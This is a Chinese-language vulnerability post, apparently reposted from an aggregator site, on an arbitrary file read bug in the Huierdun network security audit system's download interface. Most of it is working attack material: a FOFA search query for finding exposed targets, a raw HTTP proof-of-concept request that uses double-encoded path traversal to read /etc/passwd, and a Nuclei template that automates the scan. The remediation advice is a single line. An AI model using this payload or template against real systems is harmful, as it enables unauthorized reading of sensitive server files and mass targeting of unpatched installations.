免責(zé)聲明：文章來源互聯(lián)網(wǎng)收集整理，請(qǐng)勿利用文章內(nèi)的相關(guān)技術(shù)從事非法測(cè)試，由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失，均由使用者本人負(fù)責(zé)，所產(chǎn)生的一切不良后果與文章作者無關(guān)。該文章僅供學(xué)習(xí)用途使用。
Ⅰ、漏洞描述
對(duì)于軍民融合政策的諸多中小企業(yè)來講，大部分人員主要時(shí)間都時(shí)在非涉密區(qū)工作，并需要用到網(wǎng)絡(luò)， 所以上網(wǎng)時(shí)不小心泄密成了一個(gè)可能泄密的高概率事件。?惠爾頓?通過?三員化管理、實(shí)名認(rèn)證上網(wǎng)、網(wǎng)頁記錄、 郵件審查、文件上傳下載、即時(shí)通訊、防私接、統(tǒng)計(jì)報(bào)表?等八大方面確保上網(wǎng)不泄密。
網(wǎng)絡(luò)安全審計(jì)產(chǎn)品致力于滿足軍工四證、軍工保密室建設(shè)、國(guó)家涉密網(wǎng)絡(luò)建設(shè)的審計(jì)要求，規(guī)范網(wǎng)絡(luò)行為，滿足國(guó)家的規(guī)范；支持1-3線路的internet接入、1-3對(duì)網(wǎng)橋；含強(qiáng)大的上網(wǎng)行為管理、審計(jì)、監(jiān)控模塊；用戶訪問功能，內(nèi)容過濾功能；流量控制功能、帶寬管理功能；增強(qiáng)的應(yīng)用安全擴(kuò)展；強(qiáng)大的應(yīng)用協(xié)議分析與報(bào)表功能。
惠爾頓網(wǎng)絡(luò)安全審計(jì)系統(tǒng)download接口處存在任意文件讀取漏洞，惡意攻擊者可能會(huì)利用此漏洞獲取服務(wù)器敏感信息，從而造成信息泄露。
影響版本
version≤10
Ⅱ、fofa語句
app="惠爾頓-網(wǎng)絡(luò)安全審計(jì)系統(tǒng)"Ⅲ、漏洞復(fù)現(xiàn)
POC
GET /download/..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip
Connection: close1、構(gòu)建poc
Ⅳ、Nuclei-POC
id: Huierdun-read
info:
name: 惠爾頓網(wǎng)絡(luò)安全審計(jì)系統(tǒng)download接口處存在任意文件讀取漏洞，惡意攻擊者可能會(huì)利用此漏洞獲取服務(wù)器敏感信息，從而造成信息泄露。
author: WLF
severity: high
metadata:
fofa-query: app="惠爾頓-網(wǎng)絡(luò)安全審計(jì)系統(tǒng)"
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
GET /download/..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip
Connection: close
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"bin/bash")
Ⅴ、修復(fù)建議文章來源：http://www.zghlxwxcb.cn/news/detail-835733.html
升級(jí)至安全版本文章來源地址http://www.zghlxwxcb.cn/news/detail-835733.html
到了這里，關(guān)于惠爾頓安全審計(jì)系統(tǒng)任意文件讀取漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
